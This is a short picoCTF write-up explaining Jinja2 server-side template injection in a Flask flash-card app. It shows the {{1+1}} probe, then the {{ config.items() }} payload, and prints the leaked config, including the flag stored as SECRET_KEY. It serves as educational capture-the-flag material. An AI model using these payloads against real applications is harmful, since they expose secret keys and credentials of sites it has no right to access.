### The vulnerability
I love the [Flask framework](http://flask.pocoo.org/), so I instantly knew whatthis was going to be about when I saw the application's name. By chance, I also had justcompleted a [pentesterlab]( https://pentesterlab.com/referral/Ro7ncKsrj9U5Hg)exercise that teaches the vulnerability showcased here, so I had the idea totry and exploit it immediately.
The vulnerability in question in an SSTI (Server Side Template Injection) inthe [jinja2](http://jinja.pocoo.org/) template engine (used by default byFlask)
After creating an account, we can check for this vulnerability by settingfields (here the flash card's question and answer) to `{{1+1}}` : if theapp is vulnerable, the expression between the double curly braces will beinterpreted by the template engine and the value `2` will be displayed.
### The exploit
The template has access to a namespace : the[context](http://jinja.pocoo.org/docs/2.10/api/#the-context). One of thevariables that Flask pushes to that context is the[aplication config](http://exploreflask.com/en/latest/configuration.html). Atthe very least, that will contain the `SECRET_KEY` used to sign cookie and someextensions. You can also expect other goodies like the database credentials.
So let's try retrieving the config by creating a question with an answer valueof `{{ config.items() }}`
_We use the `items()` method because `config` is a python dictionary : thatmethod will return a pair `(key, value)` for each key in the dictionary._
We get the following content in our rendered answer :
```dict_items([  ('SQLALCHEMY_RECORD_QUERIES', None),  ('JSONIFY_MIMETYPE', 'application/json'),  ('SQLALCHEMY_ECHO', False),  ('SESSION_COOKIE_NAME', 'session'),  ('SERVER_NAME', None),  ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),  ('BOOTSTRAP_CDN_FORCE_SSL', False),  ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'),  ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),  ('APPLICATION_ROOT', '/'),  ('SQLALCHEMY_POOL_TIMEOUT', None),  ('SESSION_COOKIE_SECURE', False),  ('BOOTSTRAP_QUERYSTRING_REVVING', True),  ('JSON_AS_ASCII', True),  ('SESSION_COOKIE_DOMAIN', False),  ('SQLALCHEMY_TRACK_MODIFICATIONS', False),  ('SQLALCHEMY_NATIVE_UNICODE', None),  ('PROPAGATE_EXCEPTIONS', None),  ('SESSION_COOKIE_SAMESITE', None),  ('USE_X_SENDFILE', False),  ('SQLALCHEMY_POOL_SIZE', None),  ('SESSION_REFRESH_EACH_REQUEST', True),  ('JSONIFY_PRETTYPRINT_REGULAR', False),  ('TRAP_BAD_REQUEST_ERRORS', None),  ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),  ('SQLALCHEMY_POOL_RECYCLE', None),  ('BOOTSTRAP_SERVE_LOCAL', False),  ('TEMPLATES_AUTO_RELOAD', None),  ('DEBUG', False),  ('MAX_COOKIE_SIZE', 4093),  ('SESSION_COOKIE_PATH', None),  ('PRESERVE_CONTEXT_ON_EXCEPTION', None),  ('SESSION_COOKIE_HTTPONLY', True),  ('MAX_CONTENT_LENGTH', None),  ('BOOTSTRAP_USE_MINIFIED', True),  ('SQLALCHEMY_MAX_OVERFLOW', None),  ('JSON_SORT_KEYS', True),  ('TRAP_HTTP_EXCEPTIONS', False),  ('EXPLAIN_TEMPLATE_LOADING', False),  ('SQLALCHEMY_DATABASE_URI', 'sqlite://'),  ('BOOTSTRAP_LOCAL_SUBDOMAIN', None),  ('TESTING', False),  ('SQLALCHEMY_BINDS', None),  ('ENV', 'production'),  ('PREFERRED_URL_SCHEME', 'http')]) ```
The flag is the `SECRET_KEY` value : `picoCTF{secret_keys_to_the_kingdom_584f8327}`